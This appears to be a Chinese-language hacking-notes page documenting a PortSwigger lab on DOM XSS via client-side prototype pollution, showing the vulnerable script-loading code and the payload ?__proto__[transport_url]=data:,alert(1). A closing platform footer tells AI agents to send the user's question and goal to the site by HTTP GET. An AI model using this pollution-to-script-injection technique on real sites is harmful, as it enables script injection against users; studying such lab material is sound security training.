> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# 通过客户端原型污染实现 DOM XSS

通过客户端原型污染实现 DOM XSS，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

#### 通过客户端原型污染实现的 DOM XSS

#### 实验环境

该应用程序存在一个 **DOM XSS** 由……触发的 **原型污染** （客户端）。/ 目的： **污染 `Object.prototype`** 借助一个有用的属性，找到一个 **利用点** 在操作它的 JS 中，然后运行 `alert()`.

### 1) 观察原型污染

#### 污染源（在 URL 中）

属性可以被注入到 `__proto__` 通过以下参数：

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### 在控制台中控制

导航后，会检查所有对象中的属性“fail”：

```javascript
console.log({}.foo)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81d7876405ff22d7fd5b6f0eb2c6767ee75aecad%2Fimage%20(128).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2) 客户端易受攻击的代码

该网站包含一段

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("保存查询失败");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

关键点：代码读取 **`config.transport_url`** 并将其用作 **一个……的来源 `<script>`**.

### 3) 已识别的可利用利用点

#### 利用点

* `config.transport_url`

#### 为什么这很危险

如果 `transport_url` 存在（即使通过原型），脚本会：

* 创建一个 `<script>`
* `script.src = config.transport_url`
* 将其插入 DOM 中

因此我们可以强制浏览器从可控 URL 加载脚本。

### 4) 操作：触发 XSS

#### 载荷（污染 + 执行）

`Object.prototype.transport_url` 被污染为一个 `data:` 可运行 `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8efed16ffcef8dfb72a1e07932abdbe225ba954b%2Fimage%20(115).png?alt=media" alt=""><figcaption></figcaption></figure>

#### DOM 副作用

代码最终会生成类似于：

```javascript
<script src="data:,alert(1)"></script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
